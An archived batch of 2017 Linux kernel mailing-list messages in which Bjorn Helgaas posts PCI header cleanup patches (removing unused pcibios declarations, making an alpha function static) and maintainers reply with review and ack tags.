Xref: news.gmane.org gmane.linux.ports.sh.devel:55830 gmane.linux.kernel.pci:66088 gmane.linux.ports.mips.general:61504 gmane.linux.ports.ia64:28222 gmane.linux.ports.sparc:26688 gmane.linux.ports.parisc:27903 gmane.linux.ports.alpha:4430 gmane.linux.ports.ppc64.devel:148655
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/55830>

From: Bjorn Helgaas <bhelgaas@google.com>

Remove these unused declarations:

  pcibios_config_init()              # never defined anywhere
  pcibios_scan_root()                # only defined by x86
  pcibios_get_irq_routing_table()    # only defined by x86
  pcibios_set_irq_routing()          # only defined by x86

Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
---
 arch/cris/include/asm/pci.h             |    6 ------
 arch/ia64/include/asm/pci.h             |    2 --
 arch/mn10300/unit-asb2305/pci-asb2305.h |    3 ---
 arch/x86/include/asm/pci.h              |    1 -
 4 files changed, 12 deletions(-)

diff --git a/arch/cris/include/asm/pci.h b/arch/cris/include/asm/pci.h
index 8ea640560a46..141337bf16bc 100644
--- a/arch/cris/include/asm/pci.h
+++ b/arch/cris/include/asm/pci.h
@@ -16,12 +16,6 @@
 
 #define PCIBIOS_MIN_CARDBUS_IO	0x4000
 
-void pcibios_config_init(void);
-struct pci_bus * pcibios_scan_root(int bus);
-
-struct irq_routing_table *pcibios_get_irq_routing_table(void);
-int pcibios_set_irq_routing(struct pci_dev *dev, int pin, int irq);
-
 /* Dynamic DMA mapping stuff.
  * i386 has everything mapped statically.
  */
diff --git a/arch/ia64/include/asm/pci.h b/arch/ia64/include/asm/pci.h
index 8c4b37f6be3d..915531ede6a5 100644
--- a/arch/ia64/include/asm/pci.h
+++ b/arch/ia64/include/asm/pci.h
@@ -29,8 +29,6 @@ struct pci_vector_struct {
 #define PCIBIOS_MIN_IO		0x1000
 #define PCIBIOS_MIN_MEM		0x10000000
 
-void pcibios_config_init(void);
-
 /*
  * PCI_DMA_BUS_IS_PHYS should be set to 1 if there is _necessarily_ a direct
  * correspondence between device bus addresses and CPU physical addresses.
diff --git a/arch/mn10300/unit-asb2305/pci-asb2305.h b/arch/mn10300/unit-asb2305/pci-asb2305.h
index 96c484b12226..0667f613b023 100644
--- a/arch/mn10300/unit-asb2305/pci-asb2305.h
+++ b/arch/mn10300/unit-asb2305/pci-asb2305.h
@@ -30,9 +30,6 @@ extern void pcibios_resource_survey(void);
 
 extern struct pci_ops *pci_root_ops;
 
-extern struct irq_routing_table *pcibios_get_irq_routing_table(void);
-extern int pcibios_set_irq_routing(struct pci_dev *dev, int pin, int irq);
-
 /* pci-irq.c */
 
 struct irq_info {
diff --git a/arch/x86/include/asm/pci.h b/arch/x86/include/asm/pci.h
index 645019085bb8..53873a875c01 100644
--- a/arch/x86/include/asm/pci.h
+++ b/arch/x86/include/asm/pci.h
@@ -88,7 +88,6 @@ extern unsigned long pci_mem_start;
 #define PCIBIOS_MIN_CARDBUS_IO	0x4000
 
 extern int pcibios_enabled;
-void pcibios_config_init(void);
 void pcibios_scan_root(int bus);
 
 struct irq_routing_table *pcibios_get_irq_routing_table(void);

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bjorn Helgaas <helgaas@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 4/4] alpha/PCI: Make pdev_save_srm_config() static
Date: Thu, 05 Oct 2017 15:39:06 -0500
Lines: 56
Approved: news@gmane.org
Message-ID: <20171005203906.18300.63272.stgit@bhelgaas-glaptop.roam.corp.google.com>
References: <20171005201939.18300.25690.stgit@bhelgaas-glaptop.roam.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1507235959 28791 195.159.176.226 (5 Oct 2017 20:39:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Oct 2017 20:39:19 +0000 (UTC)
User-Agent: StGit/0.17.1-dirty
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
        linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        David Howells <dhowells@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        Paul Mackerras <paulus@samba.org>,
        "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        linux-am33-list@redhat.com,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Helge Deller <deller@gmx.de>, x86@kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Ingo Molnar <mingo@redhat.com>,
        Matt Turner <mattst88@gmail.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        linux-xtensa@linux-xtensa.org, Mikael Starvik <starvik@axis.com>,
        Ivan Kokshays
To: linux-pci@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 05 22:39:12 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e0CvH-0007x2-8G
	for glpp-linux-parisc@m.gmane.org; Thu, 05 Oct 2017 22:39:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751500AbdJEUjS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 5 Oct 2017 16:39:18 -0400
Original-Received: from mail.kernel.org ([198.145.29.99]:49258 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751449AbdJEUjR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 5 Oct 2017 16:39:17 -0400
Original-Received: from localhost (unknown [64.22.228.164])
        (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id C34F42191B;
        Thu,  5 Oct 2017 20:39:15 +0000 (UTC)
DMARC-Filter: OpenDMARC Filter v1.3.2 mail.kernel.org C34F42191B
Authentication-Results: mail.kernel.org; dmarc=none (p=none dis=none) header.from=kernel.org
Authentication-Results: mail.kernel.org; spf=none smtp.mailfrom=helgaas@kernel.org
In-Reply-To: <20171005201939.18300.25690.stgit@bhelgaas-glaptop.roam.corp.google.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27904 gmane.linux.kernel.pci:66089 gmane.linux.ports.mips.general:61505 gmane.linux.ports.ia64:28223 gmane.linux.ports.sh.devel:55831 gmane.linux.ports.sparc:26689 gmane.linux.ports.alpha:4431 gmane.linux.ports.ppc64.devel:148656
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27904>

From: Bjorn Helgaas <bhelgaas@google.com>

pdev_save_srm_config() and struct pdev_srm_saved_conf are only used in
arch/alpha/kernel/pci.c, so make them static there.

Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
---
 arch/alpha/kernel/pci.c      |   11 ++++++++++-
 arch/alpha/kernel/pci_impl.h |    8 --------
 2 files changed, 10 insertions(+), 9 deletions(-)

diff --git a/arch/alpha/kernel/pci.c b/arch/alpha/kernel/pci.c
index 564114eb85e1..16b67621a0d5 100644
--- a/arch/alpha/kernel/pci.c
+++ b/arch/alpha/kernel/pci.c
@@ -196,9 +196,16 @@ pcibios_init(void)
 subsys_initcall(pcibios_init);
 
 #ifdef ALPHA_RESTORE_SRM_SETUP
+/* Store PCI device configuration left by SRM here. */
+struct pdev_srm_saved_conf
+{
+	struct pdev_srm_saved_conf *next;
+	struct pci_dev *dev;
+};
+
 static struct pdev_srm_saved_conf *srm_saved_configs;
 
-void pdev_save_srm_config(struct pci_dev *dev)
+static void pdev_save_srm_config(struct pci_dev *dev)
 {
 	struct pdev_srm_saved_conf *tmp;
 	static int printed = 0;
@@ -238,6 +245,8 @@ pci_restore_srm_config(void)
 		pci_restore_state(tmp->dev);
 	}
 }
+#else
+#define pdev_save_srm_config(dev)	do {} while (0)
 #endif
 
 void pcibios_fixup_bus(struct pci_bus *bus)
diff --git a/arch/alpha/kernel/pci_impl.h b/arch/alpha/kernel/pci_impl.h
index 2b0ac429f5eb..65adea0d3d78 100644
--- a/arch/alpha/kernel/pci_impl.h
+++ b/arch/alpha/kernel/pci_impl.h
@@ -156,16 +156,8 @@ struct pci_iommu_arena
 #endif
 
 #ifdef ALPHA_RESTORE_SRM_SETUP
-/* Store PCI device configuration left by SRM here. */
-struct pdev_srm_saved_conf
-{
-	struct pdev_srm_saved_conf *next;
-	struct pci_dev *dev;
-};

From - Thu Nov 08 21:40:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.pci,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 1/4] PCI: Remove redundant pcibios_set_master()
 declarations
Date: Thu, 5 Oct 2017 22:57:16 +0200 (CEST)
Lines: 16
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.20.1710052256540.2398@nanos>
References: <20171005201939.18300.25690.stgit@bhelgaas-glaptop.roam.corp.google.com> <20171005203842.18300.67328.stgit@bhelgaas-glaptop.roam.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1507237104 18322 195.159.176.226 (5 Oct 2017 20:58:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Oct 2017 20:58:24 +0000 (UTC)
User-Agent: Alpine 2.20 (DEB 67 2015-01-07)
Cc: linux-pci@vger.kernel.org, linux-mips@linux-mips.org,
        Rich Felker <dalias@libc.org>, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        David Howells <dhowells@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        Paul Mackerras <paulus@samba.org>,
        "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        linux-am33-list@redhat.com,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Helge Deller <deller@gmx.de>, x86@kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Ingo Molnar <mingo@redhat.com>,
        Matt Turner <mattst88@gmail.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        linux-xtensa@linux-xtensa.org, Mikael Starvik <starv
To: Bjorn Helgaas <helgaas@kernel.org>
Original-X-From: sparclinux-owner@vger.kernel.org Thu Oct 05 22:58:17 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1e0DDl-0000Eo-8t
	for lnx-sparclinux@m.gmane.org; Thu, 05 Oct 2017 22:58:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752162AbdJEU6W (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Thu, 5 Oct 2017 16:58:22 -0400
Original-Received: from Galois.linutronix.de ([146.0.238.70]:36170 "EHLO
        Galois.linutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751557AbdJEU6U (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Thu, 5 Oct 2017 16:58:20 -0400
Original-Received: from p5492e998.dip0.t-ipconnect.de ([84.146.233.152] helo=nanos)
        by Galois.linutronix.de with esmtpsa (TLS1.2:DHE_RSA_AES_256_CBC_SHA256:256)
        (Exim 4.80)
        (envelope-from <tglx@linutronix.de>)
        id 1e0DCj-00031b-5q; Thu, 05 Oct 2017 22:57:13 +0200
In-Reply-To: <20171005203842.18300.67328.stgit@bhelgaas-glaptop.roam.corp.google.com>
X-Linutronix-Spam-Score: -1.0
X-Linutronix-Spam-Level: -
X-Linutronix-Spam-Status: No , -1.0 points, 5.0 required,  ALL_TRUSTED=-1,SHORTCIRCUIT=-0.0001
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:26690 gmane.linux.kernel.pci:66090 gmane.linux.ports.mips.general:61506 gmane.linux.ports.ia64:28224 gmane.linux.ports.sh.devel:55832 gmane.linux.ports.parisc:27905 gmane.linux.ports.alpha:4432 gmane.linux.ports.ppc64.devel:148660
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/26690>

On Thu, 5 Oct 2017, Bjorn Helgaas wrote:

> From: Bjorn Helgaas <bhelgaas@google.com>
> 
> All users of pcibios_set_master() include <linux/pci.h>, which already has
> a declaration.  Remove the unnecessary declarations from the <asm/pci.h>
> files.
> 
> Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>

Reviewed-by: Thomas Gleixner <tglx@linutronix.de>
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.pci,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 3/4] PCI: Remove unused declarations
Date: Thu, 5 Oct 2017 22:57:53 +0200 (CEST)
Lines: 19
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.20.1710052257350.2398@nanos>
References: <20171005201939.18300.25690.stgit@bhelgaas-glaptop.roam.corp.google.com> <20171005203856.18300.62381.stgit@bhelgaas-glaptop.roam.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1507237109 20005 195.159.176.226 (5 Oct 2017 20:58:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Oct 2017 20:58:29 +0000 (UTC)
User-Agent: Alpine 2.20 (DEB 67 2015-01-07)
Cc: linux-pci@vger.kernel.org, linux-mips@linux-mips.org,
        Rich Felker <dalias@libc.org>, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        David Howells <dhowells@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        Paul Mackerras <paulus@samba.org>,
        "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        linux-am33-list@redhat.com,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Helge Deller <deller@gmx.de>, x86@kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Ingo Molnar <mingo@redhat.com>,
        Matt Turner <mattst88@gmail.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        linux-xtensa@linux-xtensa.org, Mikael Starvik <starv
To: Bjorn Helgaas <helgaas@kernel.org>
Original-X-From: linux-sh-owner@vger.kernel.org Thu Oct 05 22:58:22 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1e0DDp-0000Eo-Rn
	for glps-linuxsh-dev@m.gmane.org; Thu, 05 Oct 2017 22:58:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752192AbdJEU63 (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Thu, 5 Oct 2017 16:58:29 -0400
Original-Received: from Galois.linutronix.de ([146.0.238.70]:36183 "EHLO
        Galois.linutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751557AbdJEU61 (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Thu, 5 Oct 2017 16:58:27 -0400
Original-Received: from p5492e998.dip0.t-ipconnect.de ([84.146.233.152] helo=nanos)
        by Galois.linutronix.de with esmtpsa (TLS1.2:DHE_RSA_AES_256_CBC_SHA256:256)
        (Exim 4.80)
        (envelope-from <tglx@linutronix.de>)
        id 1e0DDJ-00032c-TP; Thu, 05 Oct 2017 22:57:50 +0200
In-Reply-To: <20171005203856.18300.62381.stgit@bhelgaas-glaptop.roam.corp.google.com>
X-Linutronix-Spam-Score: -1.0
X-Linutronix-Spam-Level: -
X-Linutronix-Spam-Status: No , -1.0 points, 5.0 required,  ALL_TRUSTED=-1,SHORTCIRCUIT=-0.0001
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:55833 gmane.linux.kernel.pci:66091 gmane.linux.ports.mips.general:61507 gmane.linux.ports.ia64:28225 gmane.linux.ports.sparc:26691 gmane.linux.ports.parisc:27906 gmane.linux.ports.alpha:4433 gmane.linux.ports.ppc64.devel:148661
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/55833>

On Thu, 5 Oct 2017, Bjorn Helgaas wrote:

> From: Bjorn Helgaas <bhelgaas@google.com>
> 
> Remove these unused declarations:
> 
>   pcibios_config_init()              # never defined anywhere
>   pcibios_scan_root()                # only defined by x86
>   pcibios_get_irq_routing_table()    # only defined by x86
>   pcibios_set_irq_routing()          # only defined by x86
> 
> Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>

Reviewed-by: Thomas Gleixner <tglx@linutronix.de>
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jesper Nilsson <jesper.nilsson@axis.com>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.pci,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] PCI: Remove redundant pci_dev, pci_bus, resource
 declarations
Date: Fri, 6 Oct 2017 09:27:13 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20171006072713.GP17578@axis.com>
References: <20171005201939.18300.25690.stgit@bhelgaas-glaptop.roam.corp.google.com>
 <20171005203849.18300.20999.stgit@bhelgaas-glaptop.roam.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1507274842 23784 195.159.176.226 (6 Oct 2017 07:27:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 6 Oct 2017 07:27:22 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-pci@vger.kernel.org, linux-mips@linux-mips.org,
        Rich Felker <dalias@libc.org>, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        David Howells <dhowells@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        Paul Mackerras <paulus@samba.org>,
        "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
        Jesper Nilsson <jespern@axis.com>, linux-am33-list@redhat.com,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Helge Deller <deller@gmx.de>, x86@kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Ingo Molnar <mingo@redhat.com>,
        Matt Turner <mattst88@gmail.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        linux-xtensa@linux-xtensa.org, Mikael Starvik <starvik@axis.com>,
To: Bjorn Helgaas <helgaas@kernel.org>
Original-X-From: linux-sh-owner@vger.kernel.org Fri Oct 06 09:27:14 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1e0N2Q-0005Yr-29
	for glps-linuxsh-dev@m.gmane.org; Fri, 06 Oct 2017 09:27:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751423AbdJFH1U (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Fri, 6 Oct 2017 03:27:20 -0400
Original-Received: from bastet.se.axis.com ([195.60.68.11]:53908 "EHLO
        bastet.se.axis.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750868AbdJFH1S (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Fri, 6 Oct 2017 03:27:18 -0400
Original-Received: from localhost (localhost [127.0.0.1])
        by bastet.se.axis.com (Postfix) with ESMTP id 9649B18A22;
        Fri,  6 Oct 2017 09:27:16 +0200 (CEST)
X-Virus-Scanned: Debian amavisd-new at bastet.se.axis.com
Original-Received: from bastet.se.axis.com ([IPv6:::ffff:127.0.0.1])
        by localhost (bastet.se.axis.com [::ffff:127.0.0.1]) (amavisd-new, port 10024)
        with LMTP id gvRNUMmaBSQb; Fri,  6 Oct 2017 09:27:15 +0200 (CEST)
Original-Received: from boulder02.se.axis.com (boulder02.se.axis.com [10.0.8.16])
        by bastet.se.axis.com (Postfix) with ESMTPS id 04E2818C6D;
        Fri,  6 Oct 2017 09:27:13 +0200 (CEST)
Original-Received: from boulder02.se.axis.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id B2D911A067;
        Fri,  6 Oct 2017 09:27:13 +0200 (CEST)
Original-Received: from boulder02.se.axis.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id A47F71A066;
        Fri,  6 Oct 2017 09:27:13 +0200 (CEST)
Original-Received: from seth.se.axis.com (unknown [10.0.2.172])
        by boulder02.se.axis.com (Postfix) with ESMTP;
        Fri,  6 Oct 2017 09:27:13 +0200 (CEST)
Original-Received: from lnxjespern3.se.axis.com (lnxjespern3.se.axis.com [10.88.4.8])
        by seth.se.axis.com (Postfix) with ESMTP id 9325D2822;
        Fri,  6 Oct 2017 09:27:13 +0200 (CEST)
Original-Received: by lnxjespern3.se.axis.com (Postfix, from userid 363)
        id 8E2DF800EF; Fri,  6 Oct 2017 09:27:13 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20171005203849.18300.20999.stgit@bhelgaas-glaptop.roam.corp.google.com>
X-TM-AS-GCONF: 00
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:55834 gmane.linux.kernel.pci:66099 gmane.linux.ports.mips.general:61510 gmane.linux.ports.ia64:28226 gmane.linux.ports.sparc:26704 gmane.linux.ports.parisc:27907 gmane.linux.ports.alpha:4435 gmane.linux.ports.ppc64.devel:148702
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/55834>

On Thu, Oct 05, 2017 at 03:38:49PM -0500, Bjorn Helgaas wrote:
> From: Bjorn Helgaas <bhelgaas@google.com>
> 
> <linux/pci.h> defines struct pci_bus and struct pci_dev and includes the
> struct resource definition before including <asm/pci.h>.  Nobody includes
> <asm/pci.h> directly, so they don't need their own declarations.
> 
> Remove the redundant struct pci_dev, pci_bus, resource declarations.
> 
> Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
> ---
>  arch/alpha/include/asm/pci.h    |    3 ---
>  arch/cris/include/asm/pci.h     |    2 --

For what it's worth, for the cris changes:

Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>

>  arch/frv/include/asm/pci.h      |    2 --
>  arch/ia64/include/asm/pci.h     |    2 --
>  arch/mips/include/asm/pci.h     |    2 --
>  arch/mn10300/include/asm/pci.h  |    2 --
>  arch/parisc/include/asm/pci.h   |    7 -------
>  arch/powerpc/include/asm/pci.h  |    2 --
>  arch/sh/include/asm/pci.h       |    2 --
>  arch/sparc/include/asm/pci_32.h |    2 --
>  arch/xtensa/include/asm/pci.h   |    2 --
>  11 files changed, 28 deletions(-)

/^JN - Jesper Nilsson
-- 
               Jesper Nilsson -- jesper.nilsson@axis.com
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jesper Nilsson <jesper.nilsson@axis.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.pci,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 1/4] PCI: Remove redundant pcibios_set_master()
 declarations
Date: Fri, 6 Oct 2017 09:28:27 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20171006072827.GQ17578@axis.com>
References: <20171005201939.18300.25690.stgit@bhelgaas-glaptop.roam.corp.google.com>
 <20171005203842.18300.67328.stgit@bhelgaas-glaptop.roam.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1507274915 22629 195.159.176.226 (6 Oct 2017 07:28:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 6 Oct 2017 07:28:35 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-pci@vger.kernel.org, linux-mips@linux-mips.org,
        Rich Felker <dalias@libc.org>, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        David Howells <dhowells@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        Paul Mackerras <paulus@samba.org>,
        "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
        Jesper Nilsson <jespern@axis.com>, linux-am33-list@redhat.com,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Helge Deller <deller@gmx.de>, x86@kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Ingo Molnar <mingo@redhat.com>,
        Matt Turner <mattst88@gmail.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        linux-xtensa@linux-xtensa.org, Mikael Starvik <starvik@axis.com>,
To: Bjorn Helgaas <helgaas@kernel.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Fri Oct 06 09:28:28 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1e0N3b-00057X-IZ
	for glpi-linux-ia64-2@m.gmane.org; Fri, 06 Oct 2017 09:28:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751535AbdJFH2d (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Fri, 6 Oct 2017 03:28:33 -0400
Original-Received: from bastet.se.axis.com ([195.60.68.11]:54087 "EHLO
        bastet.se.axis.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750886AbdJFH2a (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Fri, 6 Oct 2017 03:28:30 -0400
